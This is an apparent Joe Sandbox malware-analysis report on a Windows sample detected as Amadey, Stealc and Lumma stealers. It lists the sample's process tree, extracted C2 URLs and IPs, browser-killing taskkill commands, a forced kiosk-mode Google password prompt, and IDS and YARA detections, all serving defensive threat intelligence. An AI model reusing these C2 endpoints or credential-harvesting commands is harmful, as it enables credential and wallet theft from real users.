Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565427
MD5:	7de3c1ae47c4a3711eb3819636d97a85
SHA1:	5924b412d6547712a0f39b44d39e8881d0465b14
SHA256:	4ff54307625cf4128e1f1d2ed924326e609b3f4dd14643717c27b196abcd1ea6
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6820 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

skotes.exe (PID: 6100 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

11caca4b5d.exe (PID: 6692 cmdline: "C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe" MD5: 90CA710AAF9DBEB26796E2023B2C20A4)

95716ab34b.exe (PID: 884 cmdline: "C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe" MD5: 1038F723C2FCA19F38FABBED2E099DBA)

4feecdc349.exe (PID: 2892 cmdline: "C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe" MD5: 0C37B6B31773E922A0C8521A372FB1EA)

taskkill.exe (PID: 5064 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1108 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1644 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3988 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3160 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d764c66987.exe (PID: 3548 cmdline: "C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe" MD5: B339132A89D00BAEB7CA4080AF49E1E8)

skotes.exe (PID: 6236 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

skotes.exe (PID: 732 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

skotes.exe (PID: 3720 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

skotes.exe (PID: 1832 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

11caca4b5d.exe (PID: 3288 cmdline: "C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe" MD5: 90CA710AAF9DBEB26796E2023B2C20A4)

firefox.exe (PID: 2920 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1896 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2fdc1535-834e-456f-8820-947ad461aee9} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 2539256dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3212 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3296 -parentBuildID 20230927232528 -prefsHandle 1580 -prefMapHandle 1576 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {338e53b0-0dd8-49bc-a6da-9edcd3c6935e} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 253a456eb10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

95716ab34b.exe (PID: 412 cmdline: "C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe" MD5: 1038F723C2FCA19F38FABBED2E099DBA)

skotes.exe (PID: 4900 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "drum"}

Threatname: LummaC

{"C2 url": "https://atten-supporse.biz/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.4039251705.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1717875712.0000000000831000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.3962571157.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.4101117639.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4100850819.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.4128255827.00000000014E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.4046194652.00000000054E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.4008212811.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4103359855.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3549151435.00000000003E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.3508241708.0000000004930000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2355092145.00000000003E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.4109303795.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1784355732.00000000003E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.4102077094.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4102760250.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4099638699.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1666914132.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.4039669635.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4039102203.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4040515221.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4105918796.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1744049993.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2312226443.0000000004840000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2907663764.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.4107712264.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4111342203.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1726182469.0000000004C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.4109866437.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4067193051.00000000014CF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4008262593.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.3917037714.00000000054F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.4112142395.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4064950579.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4096727347.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.4110717216.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.4117545472.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.4110446428.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2948182852.00000000003E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.4101563344.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 6692	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 6692	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 6692	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 6692	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 95716ab34b.exe PID: 884	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 95716ab34b.exe PID: 884	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 3288	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 3288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 11caca4b5d.exe PID: 3288	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4feecdc349.exe PID: 2892	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 95716ab34b.exe PID: 412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 95716ab34b.exe PID: 412	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6100, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\11caca4b5d.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6100, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\11caca4b5d.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:37.973486+0100	2028371	3	Unknown Traffic	192.168.2.4	50070	172.67.165.166	443	TCP
2024-11-29T20:07:40.580165+0100	2028371	3	Unknown Traffic	192.168.2.4	50072	172.67.165.166	443	TCP
2024-11-29T20:07:43.826066+0100	2028371	3	Unknown Traffic	192.168.2.4	50073	172.67.165.166	443	TCP
2024-11-29T20:07:47.016062+0100	2028371	3	Unknown Traffic	192.168.2.4	50076	172.67.165.166	443	TCP
2024-11-29T20:07:49.798878+0100	2028371	3	Unknown Traffic	192.168.2.4	50078	172.67.165.166	443	TCP
2024-11-29T20:07:50.362680+0100	2028371	3	Unknown Traffic	192.168.2.4	50079	172.67.165.166	443	TCP
2024-11-29T20:07:52.504616+0100	2028371	3	Unknown Traffic	192.168.2.4	50080	172.67.165.166	443	TCP
2024-11-29T20:07:53.068605+0100	2028371	3	Unknown Traffic	192.168.2.4	50082	172.67.165.166	443	TCP
2024-11-29T20:07:55.333247+0100	2028371	3	Unknown Traffic	192.168.2.4	50084	172.67.165.166	443	TCP
2024-11-29T20:07:57.263499+0100	2028371	3	Unknown Traffic	192.168.2.4	50089	172.67.165.166	443	TCP
2024-11-29T20:07:58.147015+0100	2028371	3	Unknown Traffic	192.168.2.4	50092	172.67.165.166	443	TCP
2024-11-29T20:08:01.251975+0100	2028371	3	Unknown Traffic	192.168.2.4	50095	172.67.165.166	443	TCP
2024-11-29T20:08:05.431545+0100	2028371	3	Unknown Traffic	192.168.2.4	50100	172.67.165.166	443	TCP
2024-11-29T20:08:17.604445+0100	2028371	3	Unknown Traffic	192.168.2.4	50104	172.67.165.166	443	TCP
2024-11-29T20:08:26.071143+0100	2028371	3	Unknown Traffic	192.168.2.4	50105	172.67.165.166	443	TCP
2024-11-29T20:08:28.897171+0100	2028371	3	Unknown Traffic	192.168.2.4	50106	172.67.165.166	443	TCP
2024-11-29T20:08:32.036980+0100	2028371	3	Unknown Traffic	192.168.2.4	50107	172.67.165.166	443	TCP
2024-11-29T20:08:34.561495+0100	2028371	3	Unknown Traffic	192.168.2.4	50108	172.67.165.166	443	TCP
2024-11-29T20:08:37.724000+0100	2028371	3	Unknown Traffic	192.168.2.4	50109	172.67.165.166	443	TCP
2024-11-29T20:08:42.024156+0100	2028371	3	Unknown Traffic	192.168.2.4	50110	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:38.938180+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50070	172.67.165.166	443	TCP
2024-11-29T20:07:41.899252+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50072	172.67.165.166	443	TCP
2024-11-29T20:07:51.167129+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50079	172.67.165.166	443	TCP
2024-11-29T20:07:53.348908+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50080	172.67.165.166	443	TCP
2024-11-29T20:08:18.436077+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50104	172.67.165.166	443	TCP
2024-11-29T20:08:27.000695+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50105	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:38.938180+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50070	172.67.165.166	443	TCP
2024-11-29T20:07:51.167129+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50079	172.67.165.166	443	TCP
2024-11-29T20:08:18.436077+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50104	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:41.899252+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50072	172.67.165.166	443	TCP
2024-11-29T20:07:53.348908+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50080	172.67.165.166	443	TCP
2024-11-29T20:08:27.000695+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50105	172.67.165.166	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:37.512819+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50069	185.215.113.43	80	TCP
2024-11-29T20:07:45.883706+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50074	185.215.113.43	80	TCP
2024-11-29T20:07:53.310384+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50081	185.215.113.43	80	TCP
2024-11-29T20:08:04.375183+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50098	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:59.202617+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50092	172.67.165.166	443	TCP
2024-11-29T20:08:38.975447+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50109	172.67.165.166	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:47.420903+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50075	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:04:46.785568+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:36.063260+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50067	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T20:07:30.427972+0100	2803305	3	Unknown Traffic	192.168.2.4	50068	185.215.113.16	80	TCP
2024-11-29T20:07:38.969414+0100	2803305	3	Unknown Traffic	192.168.2.4	50071	185.215.113.16	80	TCP
2024-11-29T20:07:47.433848+0100	2803305	3	Unknown Traffic	192.168.2.4	50077	185.215.113.16	80	TCP
2024-11-29T20:07:54.881425+0100	2803305	3	Unknown Traffic	192.168.2.4	50083	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1717875712.0000000000831000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
